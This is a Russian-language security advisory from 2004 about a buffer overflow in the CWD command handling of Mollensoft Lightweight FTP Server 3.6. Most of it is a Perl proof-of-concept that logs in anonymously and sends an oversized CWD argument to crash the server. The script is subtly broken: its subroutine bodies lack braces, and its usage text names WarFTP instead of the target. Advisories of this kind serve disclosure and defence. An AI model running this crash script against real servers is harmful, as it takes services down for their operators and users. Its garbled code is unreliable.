Security Lab

Удаленное переполнение буфера в Mollensoft Lightweight FTP Server

Дата публикации:25.05.2004
Всего просмотров:1212
Опасность:
Средняя
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Mollensoft Lightweight FTP Server 3.6

Описание: Переполнение буфера обнаружено в Mollensoft Lightweight FTP Server в обработке команды CWD. Удаленный авторизованный пользователь может аварийно завершить работу FTP сервера.

Удаленный авторизованный пользователь может представить специально обработанную CWD команду от 224 до 1018 символов, чтобы вызвать переполнение буфера и аварийно завершить работу FTP сервера.

Пример/Эксплоит:

 
#!/usr/bin/perl
 
# Mollensoft FTP Server CMD Buffer Overflow
 
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441

use strict;
use IO::Socket::INET;

usage() unless (@ARGV == 2);

my $host = shift(@ARGV);
my $port = shift(@ARGV);

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, 
PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

$socket->autoflush(1);

# receive greeting
my $repcode = "220 ";
my $response = recv_reply($socket, $repcode);
print $response;

# send USER command
#my $username = "%00" x 2041;
my $username = "anonymous";
print "USER $username\r\n";
print $socket "USER $username\r\n";

select(undef, undef, undef, 0.002); # sleep of 2 milliseconds 

# send PASS command
my $password = "a\@b.com";
print "PASS $password\r\n";
print $socket "PASS $password\r\n";

my $cmd = "CWD ";
$cmd .= "A" x 224; # Value can range from 224 to 1018
$cmd .= "\r\n";
print "length: ".length($cmd)."\n";
print $socket $cmd;

$repcode = "";
recv_reply($socket, $repcode);

close($socket);
exit(0);

sub usage
 
 # print usage information
 print "\nUsage:  Mollensoft_FTP_Server_crash.pl <host> <port>\n
<host> - The host to connect to
<port> - The TCP port which WarFTP is listening on\n\n";
 exit(1);
 

sub recv_reply
 
 # retrieve any reply
 my $socket = shift;
 my $repcode = shift;
 $socket or die "Can't receive on socket\n";
 
 my $res="";
 while(<$socket>)
 {
  $res .= $_;
  if (/$repcode/) { last; }
 }
 return $res;

URL производителя: http://www.mollensoft.com/product2.htm

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Mollensoft Lightweight FTP Server CWD Buffer Overflow
Mollensoft Lightweight FTP Server CWD Buffer Overflow
Mollensoft Lightweight FTP Server CWD Buffer Overflow